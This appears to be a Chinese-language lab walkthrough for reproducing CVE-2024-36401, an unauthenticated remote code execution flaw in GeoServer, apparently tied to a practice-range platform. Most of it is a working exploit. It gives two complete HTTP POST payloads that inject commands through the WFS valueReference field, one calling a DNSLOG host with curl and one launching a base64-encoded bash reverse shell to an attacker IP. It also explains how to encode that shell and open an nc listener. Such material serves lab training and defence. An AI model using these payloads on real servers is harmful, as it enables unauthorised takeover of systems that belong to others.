在线靶场
可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 漏洞复现靶场 -> GeoServer-远程代码执行
简介
CVE-2024-36401是一个高危的远程代码执行漏洞,存在于GeoServer软件中。GeoServer是一个用Java编写的开源服务器,用于共享和编辑地理空间数据。该漏洞允许未经身份验证的远程攻击者通过构造特定的请求,在服务器上执行任意代码,从而可能获取服务器的控制权。这个漏洞在2024年7月2日被公开,影响多个版本的GeoServer,包括2.24.0至2.24.3以及2.25.0至2.25.1。
漏洞复现
打开靶场首页,访问URL:URL/geoserver
,例如:http://192.168.1.1/geoserver
, 访问geoserver系统首页
打开DNSLOG平台,生成一个临时域名后备用。
利用下面的POC数据包,使用BurpSuite或者Yakit这类软件进行数据包重放,记得替换Host为自己目标
,然后查看数据包中的字段:valueReference=’exec(java.lang.Runtime.getRuntime(),”curl mnvmmj.dnslog.cn
“)’>,其中curl mnvmmj.dnslog.cn
就是执行的命令,将里面的域名替换为自己的DNSLOG域名,然后发包后查看DNSLOG平台的回显。
POST /geoserver/wfs HTTP/1.1
Host: node.hackhub.get-shell.com:57150
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Length: 326
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"curl mnvmmj.dnslog.cn")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
通过DNSLOG平台可以看到回显,说明此处可以命令执行。但是JAVA的EXEC执行命令会有些困难,不可以直接输入反弹Shell命令,我们精心构造一下Payload:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}
。
这是一串shell命令,需要我们将YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==
进行base64解码:bash -i >& /dev/tcp/127.0.0.1/12345 0>&1
,然后将里面的127.0.0.1
替换为接收反弹Shell机器的公网IP,例如改为:bash -i >& /dev/tcp/192.168.1.2/12345 0>&1
,然后base64编码一下:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi8xMjM0NSAwPiYx
,最终执行命令的Payload为:bash -c {echo,
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi8xMjM0NSAwPiYx
}|{base64,-d}|{bash,-i}
在我们的接收反弹Shell的机器上开启NC监听、端口为12345,命令:nc -lvp 12345
,然后通过重放数据包,将我们刚才构造的Payload替换到数据包里面,发送数据包。
POST /geoserver/wfs HTTP/1.1
Host: node.hackhub.get-shell.com:57150
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Length: 326
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
然后查看接收反弹Shell的机器,发现目标的Shell已经成功反弹过来了
- 最新
- 最热
只看作者